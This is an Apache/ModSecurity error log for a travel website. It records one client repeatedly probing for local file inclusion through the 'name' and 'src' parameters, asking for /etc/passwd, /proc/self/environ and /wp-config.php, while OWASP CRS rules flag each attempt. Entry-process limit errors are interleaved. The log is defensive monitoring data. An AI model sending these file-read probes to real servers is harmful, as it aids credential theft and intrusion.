[Fri Jul 17 08:55:54.615097 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:name: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhHlOGcokz2QIwTTVQAAAAM"]
[Fri Jul 17 08:55:54.615127 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:name: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVvAAAABM"]
[Fri Jul 17 08:55:54.615520 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhHlOGcokz2QIwTTVQAAAAM"]
[Fri Jul 17 08:55:54.615561 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVvAAAABM"]
[Fri Jul 17 08:55:54.615662 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.615662 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.615929 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwvwooI4qY7Jg93pVvAAAABM"]
[Fri Jul 17 08:55:54.615935 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwhHlOGcokz2QIwTTVQAAAAM"]
[Fri Jul 17 08:55:54.617719 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.617785 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.619903 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.620629 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.622137 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:name: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6smAAAABQ"]
[Fri Jul 17 08:55:54.622247 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:name: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6smAAAABQ"]
[Fri Jul 17 08:55:54.622734 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6smAAAABQ"]
[Fri Jul 17 08:55:54.622845 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.623109 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwkgVnBK6wAv37w6smAAAABQ"]
[Fri Jul 17 08:55:54.624977 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.668574 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.671145 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.687186 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.688751 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:src: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwroj0IkvhSCYadmB7QAAAAQ"]
[Fri Jul 17 08:55:54.689182 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwroj0IkvhSCYadmB7QAAAAQ"]
[Fri Jul 17 08:55:54.689266 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.689531 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwroj0IkvhSCYadmB7QAAAAQ"]
[Fri Jul 17 08:55:54.692737 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:src: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfjwAAAA8"]
[Fri Jul 17 08:55:54.693362 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfjwAAAA8"]
[Fri Jul 17 08:55:54.693477 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.693754 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwu1pLmPpy2r_2CxfjwAAAA8"]
[Fri Jul 17 08:55:54.694145 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:src: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6smQAAABQ"]
[Fri Jul 17 08:55:54.694231 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:src: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6smQAAABQ"]
[Fri Jul 17 08:55:54.694632 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6smQAAABQ"]
[Fri Jul 17 08:55:54.694733 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.695015 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwkgVnBK6wAv37w6smQAAABQ"]
[Fri Jul 17 08:55:54.695523 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.696563 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:src: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVvQAAABM"]
[Fri Jul 17 08:55:54.696696 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:src: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVvQAAABM"]
[Fri Jul 17 08:55:54.697250 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVvQAAABM"]
[Fri Jul 17 08:55:54.697348 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.697590 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwvwooI4qY7Jg93pVvQAAABM"]
[Fri Jul 17 08:55:54.698001 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.698842 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:src: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg7FYe46zHK_jL3QCgAAABk"]
[Fri Jul 17 08:55:54.698927 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:src: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg7FYe46zHK_jL3QCgAAABk"]
[Fri Jul 17 08:55:54.699061 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:src: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwoe39YUk0SgV8AU6qAAAABE"]
[Fri Jul 17 08:55:54.699173 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:src: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwoe39YUk0SgV8AU6qAAAABE"]
